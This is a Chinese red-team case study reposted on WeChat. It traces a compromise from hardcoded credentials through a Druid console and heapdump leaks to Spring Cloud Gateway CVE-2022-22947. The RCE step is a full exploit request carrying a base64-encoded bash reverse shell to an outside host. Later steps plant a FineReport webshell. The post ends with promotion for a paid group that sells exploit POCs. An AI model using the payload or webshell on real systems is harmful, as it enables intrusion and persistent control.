一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

原文链接: https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492762&idx=1&sn=eabfcc712413afb5f41f3567bf423828

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

AlbertJay 神农Sec 2025-07-08 05:00

扫码加圈子

获内部资料

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。
不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。

文章作者:AlbertJay

文章来源:https://www.freebuf.com/articles/defense/437259.html

从低权限账户到域控的Spring生态渗透之旅

前言

攻防对抗中,红队的核心优势在于将看似孤立的脆弱点串联为致命攻击链。本文记录的实战案例始于一个被99%安全审计忽略的前端硬编码漏洞,却终结于核心业务系统的全面沦陷——这印证了ATT&CK框架的核心原则,防御失效往往源于薄弱环节的连锁反应。

0x01 缘起:一个被忽视的前端硬编码

在一次攻防演练实战中,作为红队成员,我在某企业业务系统的登录页面按下了F12。在Webpack打包的前端代码中,发现了一段令人咋舌的注释:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

利用硬编码的凭证成功登录后台,但该账号仅有基础查看权限。常规漏洞扫描(SQL注入/XSS/文件上传)无果。

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

却在访问错误路径时发现了关键线索:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

Spring Boot特征
!立即启动目录扫描:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

结果如下:

****## 0x02 突破口:Druid监控与Heapdump分析

扫描发现存在Druid,尝试弱口令登录Druid后台成功(企业常见配置失误)。在SQL监控页面发现内网数据库地址:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

更关键的是,heapdump文件可直接下载。使用Eclipse Memory Analyzer
解析:
1. 搜索关键词:password、secret、redis

  1. 定位springframework.cloud.gateway.route.RouteDefinition对象

  2. 发现内网配置:

0x03 致命一击:Spring Cloud Gateway RCE(CVE-2022-22947)

网关的/actuator/gateway/routes端点暴露且无鉴权

1751335145_686340e92bbded8fb0d06.png!small?1751335146111

符合CVE-2022-22947漏洞条件:
影响版本
:Spring Cloud Gateway < 3.1.1 或 < 3.0.7

  • 利用原理
    :恶意SpEL表达式注入路由过滤器

攻击步骤

POST /actuator/gateway/routes/shell HTTP/1.1  Host: xx.xx.xx.xx Content-Type: application/json
{
&#34;filters&#34;: [{
&#34;name&#34;: &#34;AddResponseHeader&#34;,
&#34;args&#34;: {
&#34;name&#34;: &#34;Result&#34;,
&#34;value&#34;: &#34;#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\&#34;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}\&#34;).getInputStream()))}&#34;
}
}],
&#34;uri&#34;: &#34;http://example.com&#34;
}

实战如下:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

刷新路由触发执行
成功获取Shell

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

0x04 权限固化:某报表平台文件覆盖漏洞

虽然已获得远程命令执行,但需要持久化控制
。回到登录页面查看web路径发现该系统使用某软报表系统
FineReport V9特征:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

利用svg初始化漏洞
覆盖尝试写入文件,可以看到写入成功

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

1751335299_686341834223070f91647.png!small?1751335310493

利用结果
构造执行命令,再次上传jsp文件,访问/svg.jsp?cmd=ifconfig成功执行系统命令

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

植入Webshell实现持久化

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

提权获取root权限

1751335307_6863418b9dfb36f5c97df.png!small?1751335314950

0x05 攻击链全景

完整攻击路径:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

结语

本案例的攻陷路径映射到ATT&CK框架,暴露出企业防御的深层缺陷:

凭证管理失效:
硬编码凭证→弱口令复用→数据库密钥泄露的连锁反应,暴露了凭证生命周期管理的全面失控;

内生安全机制缺失:
Spring Cloud Gateway未修复漏洞(CVE-2022-22947)与暴露的Actuator端点,证明“默认安全”配置的全面失效;

威胁传导盲区:
从Druid监控系统到报表平台(FineReport)的权限跃迁,揭示供应链漏洞如何成为横向移动的“隐形桥梁”。

内部小圈子详情介绍

我们是
神农安全
,点赞 + 在看
 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

内部圈子介绍

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

圈子专注于更新src/红蓝攻防相关:

1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、知识星球专属微信“小圈子交流群”
3、微信小群一起挖洞
4、内部团队专属EDUSRC证书站漏洞报告
5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)
6、分享src挖掘技巧tips
7、不定期有众测、渗透测试项目(一起挣钱)
8、不定期有工作招聘内推(工作/护网内推)
9、送全国职业技能大赛环境+WP解析(比赛拿奖)

内部圈子
专栏介绍

知识星球内部共享资料截屏详情如下

(只要没有特殊情况,每天都保持更新)

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

知识星球——
神农安全

星球现价 
¥45元

如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌

星球人数少于900人 45元/年

星球人数少于1000人 60元/年

(新人优惠卷20,扫码或者私信我即可领取)

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

欢迎加入星球一起交流,券后价仅45元!!! 即将满900人涨价

长期
更新,更多的0day/1day漏洞POC/EXP

内部知识库–
(持续更新中)

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

知识库部分大纲目录如下:

知识库跟
知识星球联动,基本上每天保持
更新,满足圈友的需求

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

知识库和知识星球有师傅们关注的
EDUSRC

CNVD相关内容(内部资料)

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

还有网上流出来的各种
SRC/CTF等课程视频

量大管饱,扫描下面的知识星球二维码加入即可

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

不会挖CNVD?不会挖EDURC?不会挖企业SRC?不会打nday和通杀漏洞?

直接加入我们小圈子:
知识星球+内部圈子交流群+知识库

快来吧!!

图片

图片

神农安全知识库内部配置很多
内部工具和资料💾,
玄机靶场邀请码+EDUSRC邀请码等等

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

快要护网来临,是不是需要
护网面试题汇总

问题+答案(超级详细🔎)

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

最后,师傅们也是希望找个
好工作,那么常见的
渗透测试/安服工程师/驻场面试题目,你值得拥有!!!

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

内部小圈子——
圈友反馈

良心价格

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅


神农安全公开交流群

有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅